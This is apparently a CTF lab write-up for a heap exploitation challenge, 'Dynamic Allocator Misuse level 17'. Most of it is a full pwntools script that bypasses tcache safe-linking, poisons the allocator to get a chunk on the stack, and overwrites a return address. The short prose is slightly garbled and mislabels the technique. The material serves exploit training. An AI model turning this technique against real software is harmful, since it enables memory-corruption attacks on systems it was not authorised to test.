Post

(Dynamic Allocator Misuse) level 17

(Dynamic Allocator Misuse) level 17

Information

  • category: pwn

Description

Revisit a prior challenge, now with TCACHE safe-linking.

Write-up

House of Force to pivot malloc into the stack, and a compact XOR-index → stack pivot trick. Each section is a minimal.

Exploit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
from pwn import *

elf = context.binary = ELF("/challenge/babyheap_level17.1")
global p
p = elf.process()

def malloc(idx,size):
    p.sendline(b"malloc")
    p.sendline(idx)
    p.sendline(size)

def free(idx):
    p.sendline(b"free")
    p.sendline(idx)

def scanf(idx,data):
    p.sendline(b"scanf")
    p.sendline(idx)
    p.sendline(data)

def puts(idx):
    p.sendline(b"puts")
    p.sendline(idx)

def quit():
    p.sendline(b"quit")

def exploit():
    p.recvuntil(b"of your allocations is at: ")
    stack = int(p.recvline().strip().split(b".")[0],16)
    log.success(f"stack: {hex(stack)}")

    p.recvuntil(b"main is at: ")
    main = int(p.recvline().strip().split(b".")[0],16)
    log.success(f"main: {hex(main)}")

    malloc(b"0",b"0")
    malloc(b"1",b"0")

    free(b"1")
    free(b"0")

    puts(b"1")

    p.recvuntil(b"Data: ")
    pos = u64(p.recvline().strip().ljust(8,b"\x00"))
    log.success(f"pos: {hex(pos)}")
    
    puts(b"0")

    mangled_ret = pos ^ stack

    scanf(b"0",flat(mangled_ret))

    malloc(b"0",b"0")
    malloc(b"0",b"0")

    scanf(b"0",p64(stack) + p64(stack + 296))

    scanf(b"1",p64(main - 0x151b + 0x1400))

    quit()

    p.interactive()

def main():
    exploit() 

if __name__ == "__main__":
    main()
This post is licensed under CC BY 4.0 by the author.